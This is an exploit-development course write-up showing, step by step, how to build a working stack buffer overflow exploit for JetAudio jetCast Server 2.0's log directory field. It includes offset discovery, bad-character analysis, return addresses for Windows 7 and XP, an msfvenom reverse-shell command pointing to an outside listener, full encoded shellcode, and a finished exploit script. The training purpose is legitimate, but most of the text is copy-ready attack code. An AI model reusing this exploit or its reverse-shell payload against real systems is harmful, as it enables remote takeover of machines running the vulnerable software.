JetAudio jetCast Server 2.0 (Stack-based buffer overflow exploit)

This assignment was submitted by Michael Ross (@mprossau) as part of our Hands-on Exploit Development Course

Vulnerable Application

Exploit developed for JetAudio jetCast Server 2.0. Copy of vulnerable application obtained from Exploit-DB

Replicating the crash

As an initial step the crash was replicated. This was done to confirm the application is vulnerable and observe the behaviour during the crash. To replicate the crash the basic proof of concept script (https://www.exploit-db.com/exploits/46819) from exploit-db was used.


#Steps to produce the crash:
#1.- Run python code: jetCast_Server_2.0.py
#2.- Open jetCast.txt and copy content to clipboard
#2.- Open jetCast Server
#3.- Select Config
#4.- In "Log directory" Paste ClipBoard
#5.- Click on "Ok"
#6.- Click on "Start"
#7.- Crashed
cod = "\x41" * 5000
f = open('jetCast.txt', 'w')
f.write(cod)
f.close()

Steps listed in the POC were followed and the crash occurred.

Items of interest from analysing the output of the crash are below. This confirms the log directory configuration parameter is suspectible to a generic buffer overflow.

  • EIP has been cleanly overwritten with A – 41414141
  • ECX has been cleanly overwritten with A – 41414141
  • ESP points to part of the A buffer - 0018EE54 – guess is this is right after the EIP location
  • Other registers don’t appear to point to anything significant

Finding the offset

As a next step the buffer offset which overwrites the identified registers needs to be confirmed. This is done to confirm where code needs to be replaced to manipulate program execution. To compare different techniques this was done manually using msf-pattern_create and using the functionality in monya.py.

Using msf-pattern_create

The POC was first updated with a 5000-character pattern created using msf-pattern_create. The crash was then re-triggered and output examined.

Of interest:

  • EIP points to 0x72413772 – querying this value gives an exact match at 532
    root@kali2019:~/Documents/exploits# msf-pattern_offset -l 5000 -q 72413772
    [*] Exact match at offset 532
    
  • ECX points to 0x72413372 – querying this value gives an exact match at 520
    root@kali2019:~/Documents/exploits# msf-pattern_offset -l 5000 -q 72413372
    [*] Exact match at offset 520
    
  • ESP points to part of the buffer - 0018EE54 – querying this value gives an exact match at 536. This confirms ESP is pointing directly after EIP.
    root@kali2019:~# msf-pattern_offset -l 5000 -q 8Ar9
    [*] Exact match at offset 536
    

Using mona.py

Commands from https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/ were used to complete this step.

  • !mona config -set workingfolder c:\exploit\%p
  • !mona pattern_create 5000

The POC was first updated with a 5000-character pattern created using the pattern_create command. The crash was then re-triggered and output examined.

Of interest:

  • EIP points to 0x72413772 – querying this value gives us an exact match at 532
    !mona pattern_offset 0x72413772
    !mona findmsp
    Message= EIP contains normal pattern : 0x72413772 (offset 532)
    
  • ECX points to 0x72413372 – querying this value gives us an exact match at 520
    !mona pattern_offset 0x72413372
    !mona findmsp
    Message= ECX contains normal pattern : 0x72413372 (offset 520)
    
  • ESP points to part of the buffer - 0018EE54 – guess is this is right after the EIP location. Output of the !mona findmsp command confirms this:
    Message= ESP (0x0018ee54) points at offset 536 in normal pattern (length 4464)
    

Validating offsets

Buffer overflow condition and EIP/ESP offsets have been identified. Target for exploit is to overwrite EIP with a JMP ESP instruction and then place target shellcode at ESP. Based on the identified offsets POC code updated to:

cod = "A" * 520 + "B" * 12 + "C" * 4 + "D" * 4464
f = open('jetCast.txt', 'w')
f.write(cod)
f.close()

Re-generating the file and re-triggering the exploit works as expected.

  • ESP is cleanly overwritten by all C values (confirms offset was correct)
  • ECX points to the beginning of 8 B values. 12 were written via the POC so the last 4 are mangled by the program
  • ESP points to the start of the D values. Noted as being in the range: 0018EE54 – 0018FFC4. Checking the difference between both addresses notes that all 4464 bytes in the final array were written. This should be more than sufficient space for shellcode.

Identifying bad characters

Done manually

POC was updated to send normal list of bad characters in place of the ‘D’ values. 0x00 initially assumed as bad character so was removed from the initial set.

First run (255 bad characters submitted)

Triggering the exploit with 255 bad characters reveals the below in the dump.

0018F0AC 01 02 03 04 05 06 07 08
0018F0B4 09 00 F4 02 30 F2 18 00 ..ô0ò.
0018F0BC 98 48 80 00 94 6A 01 10 ˜H.j
0018F0C4 D0 4F 03 10 40 1F 00 00 ÐO @..
0018F0CC 00 00 00 00 24 FD 18 00 .....
0018F0D4 3F ED 41 00 40 1F 00 00 ?íA.@..
0018F0DC 00 00 00 00 B0 F5 18 00 ....°õ.

Value returned suggests 0x0A is a bad character. This is due to it not being present in the dump and values following where it would be are mangled. Character removed from POC and exploit re-triggered.

Second run (254 bad characters submitted)

Triggering the exploit with 254 bad characters reveals the below in the dump.

0018EE54 01 02 03 04 05 06 07 08
0018EE5C 09 0B 0C 00 D8 EF 18 00 ...Øï.
0018EE64 98 48 77 00 94 6A 01 10 ˜Hw.j
0018EE6C D0 4F 03 10 40 1F 00 00 ÐO @..
0018EE74 00 00 00 00 24 FD 18 00 .....

Value returned suggests 0x0D is a bad character. This is due to it not being present in the dump and values following where it would be are mangled. Character removed from POC and exploit re-triggered.

Third run (253 bad characters submitted)

Triggering the exploit with 253 bad characters reveals the below in the dump.

0018EE54 01 02 03 04 05 06 07 08
0018EE5C 09 0B 0C 0E 0F 10 11 12 . .
0018EE64 13 14 15 16 17 18 19 1A
0018EE6C 1B 1C 1D 1E 1F 20 21 22 - !"
0018EE74 23 24 25 26 27 28 29 2A #$%&'()*
0018EE7C 2B 2C 2D 2E 2F 30 31 32 +,-./012
0018EE84 33 34 35 36 37 38 39 3A 3456789:
0018EE8C 3B 3C 3D 3E 3F 40 41 42 ;<=>?@AB
0018EE94 43 44 45 46 47 48 49 4A CDEFGHIJ
0018EE9C 4B 4C 4D 4E 4F 50 51 52 KLMNOPQR
0018EEA4 53 54 55 56 57 58 59 5A STUVWXYZ
0018EEAC 5B 5C 5D 5E 5F 60 61 62 [\]^_`ab
0018EEB4 63 64 65 66 67 68 69 6A cdefghij
0018EEBC 6B 6C 6D 6E 6F 70 71 72 klmnopqr
0018EEC4 73 74 75 76 77 78 79 7A stuvwxyz
0018EECC 7B 7C 7D 7E 7F 80 81 82 {|}~€•‚
0018EED4 83 84 85 86 87 88 89 8A ƒ„…†‡ˆ‰Š
0018EEDC 8B 8C 8D 8E 8F 90 91 92 ‹OE•Ž‘’
0018EEE4 93 94 95 96 97 98 99 9A “”•–—˜™š
0018EEEC 9B 9C 9D 9E 9F A0 A1 A2 ›oe•žŸ ¡¢
0018EEF4 A3 A4 A5 A6 A7 A8 A9 AA £¤¥¦§¨©ª
0018EEFC AB AC AD AE AF B0 B1 B2 «¬®¯°±²
0018EF04 B3 B4 B5 B6 B7 B8 B9 BA ³´μ¶·¸¹º
0018EF0C BB BC BD BE BF C0 C1 C2 »¼½¾¿ÀÁÂ
0018EF14 C3 C4 C5 C6 C7 C8 C9 CA ÃÄÅÆÇÈÉÊ
0018EF1C CB CC CD CE CF D0 D1 D2 ËÌÍÎÏÐÑÒ
0018EF24 D3 D4 D5 D6 D7 D8 D9 DA ÓÔÕÖ×ØÙÚ
0018EF2C DB DC DD DE DF E0 E1 E2 ÛÜÝÞßàáâ
0018EF34 E3 E4 E5 E6 E7 E8 E9 EA ãäåæçèéê
0018EF3C EB EC ED EE EF F0 F1 F2 ëìíîïðñò
0018EF44 F3 F4 F5 F6 F7 F8 F9 FA óôõö÷øùú
0018EF4C FB FC FD FE FF ûüýþÿ

From visual inspection of the dump values all transmitted characters appear to have been written to memory. This indicates the only three bad characters are 0x00, 0x0A, 0x0D.

Validating bad char with Mona

Identified bad characters were then identified using mona.py functionality. Commands run to generate a bytearray for comparison are:

  • !mona config -set workingfolder c:\logs\%p
  • !mona bytearray -cpb “\x00\x0A\x0D”

Byte array was then copied into the POC and exploit was re-triggered. Mona was then used to examine the portion of memory at ESP against the generated bytearray.

  • !mona compare -f c:\logs\JCServer\bytearray.bin -a 0018EE54

Running the compare command then returns success. This confirms the only bad characters are 0x00, 0x0A, 0x0D.

[+] Comparing with memory at location : 0x0018ee54 (Stack)
!!! Hooray, normal shellcode unmodified !!!
Bytes omitted from input: 00 0a 0d

Controlling the Execution

System # 1 (Microsoft Windows 6.1.7601 Service Pack 1 Build 7601)

Approach taken is to overwrite the EIP register with a JMP ESP instruction. Shellcode can then be placed at the ESP location in memory.

To improve exploit reliability a JMP ESP instruction not affected by memory protection is the target. Mona used to identify modules not protected by memory protection methods.

  • !mona modules -cm aslr=false,rebase=false,safeseh=false This identified three modules which may have a reliable usable JMP ESP command.
<SNIP>
0BADF00D 0x77ed0000 | 0x77f31000 | 0x00061000 | False | False | False | False | False | 6.00.8168.0 [MSVCP60.dll] (C:\Program Files (x86)\JetCast Server\MSVCP60.dll)
0BADF00D 0x00400000 | 0x00446000 | 0x00046000 | False | False | False | False | False | 2.0.0.4308 [JCServer.exe] (C:\Program Files (x86)\JetCast Server\JCServer.exe)
0BADF00D 0x5f400000 | 0x5f4f2000 | 0x000f2000 | False | False | False | False | False | 6.00.8665.0 [MFC42.DLL] (C:\Program Files (x86)\JetCast Server\MFC42.DLL)
<SNIP>

The identified modules were then searched for a JMP ESP instruction. Amended output of command is below.

  • !mona jmp -r ESP -m MSVCP60,JCServer,MFC42*
<SNIP>
0BADF00D [+] Results : 
77EF9D55 0x77ef9d55 : jmp esp | {PAGE_EXECUTE_READ} [MSVCP60.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.00.8168.0 (C:\Program Files (x86)\JetCast Server\MSVCP60.dll) 
77EE5D4F 0x77ee5d4f : push esp # ret | {PAGE_EXECUTE_READ} [MSVCP60.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.00.8168.0 (C:\Program Files (x86)\JetCast Server\MSVCP60.dll) 
5F4774D5 0x5f4774d5 : push esp # ret | {PAGE_EXECUTE_READ} [MFC42.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.00.8665.0 (C:\Program Files (x86)\JetCast Server\MFC42.DLL) 
5F4955C4 0x5f4955c4 : push esp # ret | {PAGE_EXECUTE_READ} [MFC42.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.00.8665.0 (C:\Program Files (x86)\JetCast Server\MFC42.DLL) 
5F49948D 0x5f49948d : push esp # ret | {PAGE_EXECUTE_READ} [MFC42.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.00.8665.0 (C:\Program Files (x86)\JetCast Server\MFC42.DLL)
<SNIP>

Addresses found in JCServer.exe were not suitable due to containing a bad character (0x00). Remaining addresses are shown above. 0x77ef9d55 picked as it gives a solid JMP ESP that does not contain any bad characters

System # 2 (Microsoft Windows 5.1.2600 Service Pack 3 Build 2600)

Approach taken is to overwrite the EIP register with a JMP ESP instruction. Shellcode can then be placed at the ESP location in memory.

To improve exploit reliability a JMP ESP instruction not affected by memory protection is the target. Mona used to identify modules not protected by memory protection methods.

  • !mona modules -cm aslr=false,rebase=false,safeseh=false

This identified two modules which may have a reliable usable JMP ESP command. The first can be discounted as it’s address contains a null (x00) byte. This leaves MFC42.DLL as the target to search.

<SNIP>
0BADF00D 0x00400000 | 0x00446000 | 0x00046000 | False | False | False | False | False | 2.0.0.4308 [JCServer.exe] (C:\Program Files\JetCast Server\JCServer.exe)
0BADF00D 0x5f400000 | 0x5f4f2000 | 0x000f2000 | False | False | False | False | False | 6.00.8665.0 [MFC42.DLL] (C:\Program Files\JetCast Server\MFC42.DLL)
<SNIP>

The identified modules were then searched for a JMP ESP instruction. Amended output of command is below.

  • !mona jmp -r ESP -m MFC42*
<SNIP> 5F4774D5 0x5f4774d5 : push esp # ret | {PAGE_EXECUTE_READ} [MFC42.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.00.8665.0 (C:\Program Files\JetCast Server\MFC42.DLL) 
5F4955C4 0x5f4955c4 : push esp # ret | {PAGE_EXECUTE_READ} [MFC42.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.00.8665.0 (C:\Program Files\JetCast Server\MFC42.DLL) 
5F49948D 0x5f49948d : push esp # ret | {PAGE_EXECUTE_READ} [MFC42.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.00.8665.0 (C:\Program Files\JetCast Server\MFC42.DLL)
<SNIP>

Remaining addresses are shown above 0x5f4774d5 as it is the first suitable one identified.

Cracking the shell

Generating shellcode

Taking into account what’s been learnt reverse shellcode was generated using msfvenom (command: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.139.129 LPORT=5556 -b ‘\x00\x0A\x0D’ -f python). To address the bad character requirements msfvenom automatically encoded the payload using x86/shikata_ga_nai.

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1684 bytes
buf = ""
buf += "\xbf\xc6\xbc\xaf\x95\xda\xc1\xd9\x74\x24\xf4\x5d\x29"
buf += "\xc9\xb1\x52\x31\x7d\x12\x83\xed\xfc\x03\xbb\xb2\x4d"
buf += "\x60\xbf\x23\x13\x8b\x3f\xb4\x74\x05\xda\x85\xb4\x71"
buf += "\xaf\xb6\x04\xf1\xfd\x3a\xee\x57\x15\xc8\x82\x7f\x1a"
buf += "\x79\x28\xa6\x15\x7a\x01\x9a\x34\xf8\x58\xcf\x96\xc1"
buf += "\x92\x02\xd7\x06\xce\xef\x85\xdf\x84\x42\x39\x6b\xd0"
buf += "\x5e\xb2\x27\xf4\xe6\x27\xff\xf7\xc7\xf6\x8b\xa1\xc7"
buf += "\xf9\x58\xda\x41\xe1\xbd\xe7\x18\x9a\x76\x93\x9a\x4a"
buf += "\x47\x5c\x30\xb3\x67\xaf\x48\xf4\x40\x50\x3f\x0c\xb3"
buf += "\xed\x38\xcb\xc9\x29\xcc\xcf\x6a\xb9\x76\x2b\x8a\x6e"
buf += "\xe0\xb8\x80\xdb\x66\xe6\x84\xda\xab\x9d\xb1\x57\x4a"
buf += "\x71\x30\x23\x69\x55\x18\xf7\x10\xcc\xc4\x56\x2c\x0e"
buf += "\xa7\x07\x88\x45\x4a\x53\xa1\x04\x03\x90\x88\xb6\xd3"
buf += "\xbe\x9b\xc5\xe1\x61\x30\x41\x4a\xe9\x9e\x96\xad\xc0"
buf += "\x67\x08\x50\xeb\x97\x01\x97\xbf\xc7\x39\x3e\xc0\x83"
buf += "\xb9\xbf\x15\x03\xe9\x6f\xc6\xe4\x59\xd0\xb6\x8c\xb3"
buf += "\xdf\xe9\xad\xbc\x35\x82\x44\x47\xde\x6d\x30\xcc\x9f"
buf += "\x06\x43\xd2\x8a\x62\xca\x34\xde\x9a\x9b\xef\x77\x02"
buf += "\x86\x7b\xe9\xcb\x1c\x06\x29\x47\x93\xf7\xe4\xa0\xde"
buf += "\xeb\x91\x40\x95\x51\x37\x5e\x03\xfd\xdb\xcd\xc8\xfd"
buf += "\x92\xed\x46\xaa\xf3\xc0\x9e\x3e\xee\x7b\x09\x5c\xf3"
buf += "\x1a\x72\xe4\x28\xdf\x7d\xe5\xbd\x5b\x5a\xf5\x7b\x63"
buf += "\xe6\xa1\xd3\x32\xb0\x1f\x92\xec\x72\xc9\x4c\x42\xdd"
buf += "\x9d\x09\xa8\xde\xdb\x15\xe5\xa8\x03\xa7\x50\xed\x3c"
buf += "\x08\x35\xf9\x45\x74\xa5\x06\x9c\x3c\xd5\x4c\xbc\x15"
buf += "\x7e\x09\x55\x24\xe3\xaa\x80\x6b\x1a\x29\x20\x14\xd9"
buf += "\x31\x41\x11\xa5\xf5\xba\x6b\xb6\x93\xbc\xd8\xb7\xb1"

Updating the POC

POC was then updated to use the generated shellcode. Final POC used against system # 1 is below.

#Steps to produce the crash:
#1.- Run Exploit code
#2.- Open jetCast.txt and copy content to clipboard
#2.- Open jetCast Server
#3.- Select Config
#4.- In "Log directory" Paste ClipBoard
#5.- Click on "Ok"
#6.- Click on "Start"
#7.- Crashed
#!usr/bin/python
from struct import pack
# OS Name: Microsoft Windows 7 Enterprise
# OS Version: 6.1.7601 Service Pack 1 Build 7601
# return address for 0x77ef9d55
# OS Name: Microsoft XP Professional
# return address for 0x5f4955c4
buf = ""
buf += "\xbf\xc6\xbc\xaf\x95\xda\xc1\xd9\x74\x24\xf4\x5d\x29"
buf += "\xc9\xb1\x52\x31\x7d\x12\x83\xed\xfc\x03\xbb\xb2\x4d"
buf += "\x60\xbf\x23\x13\x8b\x3f\xb4\x74\x05\xda\x85\xb4\x71"
buf += "\xaf\xb6\x04\xf1\xfd\x3a\xee\x57\x15\xc8\x82\x7f\x1a"
buf += "\x79\x28\xa6\x15\x7a\x01\x9a\x34\xf8\x58\xcf\x96\xc1"
buf += "\x92\x02\xd7\x06\xce\xef\x85\xdf\x84\x42\x39\x6b\xd0"
buf += "\x5e\xb2\x27\xf4\xe6\x27\xff\xf7\xc7\xf6\x8b\xa1\xc7"
buf += "\xf9\x58\xda\x41\xe1\xbd\xe7\x18\x9a\x76\x93\x9a\x4a"
buf += "\x47\x5c\x30\xb3\x67\xaf\x48\xf4\x40\x50\x3f\x0c\xb3"
buf += "\xed\x38\xcb\xc9\x29\xcc\xcf\x6a\xb9\x76\x2b\x8a\x6e"
buf += "\xe0\xb8\x80\xdb\x66\xe6\x84\xda\xab\x9d\xb1\x57\x4a"
buf += "\x71\x30\x23\x69\x55\x18\xf7\x10\xcc\xc4\x56\x2c\x0e"
buf += "\xa7\x07\x88\x45\x4a\x53\xa1\x04\x03\x90\x88\xb6\xd3"
buf += "\xbe\x9b\xc5\xe1\x61\x30\x41\x4a\xe9\x9e\x96\xad\xc0"
buf += "\x67\x08\x50\xeb\x97\x01\x97\xbf\xc7\x39\x3e\xc0\x83"
buf += "\xb9\xbf\x15\x03\xe9\x6f\xc6\xe4\x59\xd0\xb6\x8c\xb3"
buf += "\xdf\xe9\xad\xbc\x35\x82\x44\x47\xde\x6d\x30\xcc\x9f"
buf += "\x06\x43\xd2\x8a\x62\xca\x34\xde\x9a\x9b\xef\x77\x02"
buf += "\x86\x7b\xe9\xcb\x1c\x06\x29\x47\x93\xf7\xe4\xa0\xde"
buf += "\xeb\x91\x40\x95\x51\x37\x5e\x03\xfd\xdb\xcd\xc8\xfd"
buf += "\x92\xed\x46\xaa\xf3\xc0\x9e\x3e\xee\x7b\x09\x5c\xf3"
buf += "\x1a\x72\xe4\x28\xdf\x7d\xe5\xbd\x5b\x5a\xf5\x7b\x63"
buf += "\xe6\xa1\xd3\x32\xb0\x1f\x92\xec\x72\xc9\x4c\x42\xdd"
buf += "\x9d\x09\xa8\xde\xdb\x15\xe5\xa8\x03\xa7\x50\xed\x3c"
buf += "\x08\x35\xf9\x45\x74\xa5\x06\x9c\x3c\xd5\x4c\xbc\x15"
buf += "\x7e\x09\x55\x24\xe3\xaa\x80\x6b\x1a\x29\x20\x14\xd9"
buf += "\x31\x41\x11\xa5\xf5\xba\x6b\xb6\x93\xbc\xd8\xb7\xb1"
payload = ''
payload += 'A'*532
payload += pack('<L', 0x77ef9d55)
payload += '\x90'*16
payload += buf # shellcode
f = open('jetCast.txt', 'w')
f.write(payload)
f.close()

Obtaining shell on system # 1

Shell was then obtained on remote system using the prepared exploit. Confirmation of shell obtained is shown below.

Obtaining shell on system # 2

Shell was then obtained on remote system using the prepared exploit. Confirmation of shell obtained is shown below.

Written on June 17, 2019